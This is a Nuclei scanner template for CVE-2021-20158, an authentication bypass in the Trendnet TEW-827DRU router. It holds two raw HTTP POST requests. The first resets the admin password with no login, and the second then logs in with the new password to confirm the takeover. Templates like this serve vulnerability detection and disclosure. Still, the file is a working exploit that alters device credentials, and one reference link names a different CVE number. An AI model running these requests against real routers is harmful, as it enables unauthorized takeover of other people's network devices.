64 lines
2.1 KiB
YAML
64 lines
2.1 KiB
YAML
id: CVE-2021-20158
|
|
|
|
info:
|
|
name: Trendnet AC2600 TEW-827DRU 2.08B01 - Admin Password Change
|
|
author: gy741
|
|
severity: critical
|
|
description: Trendnet AC2600 TEW-827DRU version 2.08B01 contains an authentication bypass vulnerability. It is possible for an unauthenticated, malicious actor to force change the admin password due to a hidden administrative command.
|
|
remediation: |
|
|
Upgrade to the latest firmware version provided by Trendnet to fix the vulnerability.
|
|
reference:
|
|
- https://www.tenable.com/security/research/tra-2021-54
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-20150
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-20158
|
|
cwe-id: CWE-306
|
|
epss-score: 0.01211
|
|
epss-percentile: 0.83646
|
|
cpe: cpe:2.3:o:trendnet:tew-827dru_firmware:2.08b01:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: trendnet
|
|
product: tew-827dru_firmware
|
|
shodan-query: http.html:"TEW-827DRU"
|
|
tags: disclosure,router,intrusive,tenable,cve,cve2021,trendnet
|
|
variables:
|
|
password: "{{rand_base(6)}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /apply_sec.cgi HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
ccp_act=set&action=tools_admin_elecom&html_response_page=dummy_value&html_response_return_page=dummy_value&method=tools&admin_password={{password}}
|
|
- |
|
|
POST /apply_sec.cgi HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
html_response_page=%2Flogin_pic.asp&login_name=YWRtaW4%3D&log_pass={{base64(password)}}&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'setConnectDevice'
|
|
- 'setInternet'
|
|
- 'setWlanSSID'
|
|
- 'TEW-827DRU'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a00473045022100875620fc40f64ebf05658aa56426c515a807c8f2dfc2a7d5ee618c3936c95aaa0220155a71a8980801878b04459256c3925053b64ead2d7ef5748865c2e1fb68ebad:922c64590222798bb761d5b6d8e72950
|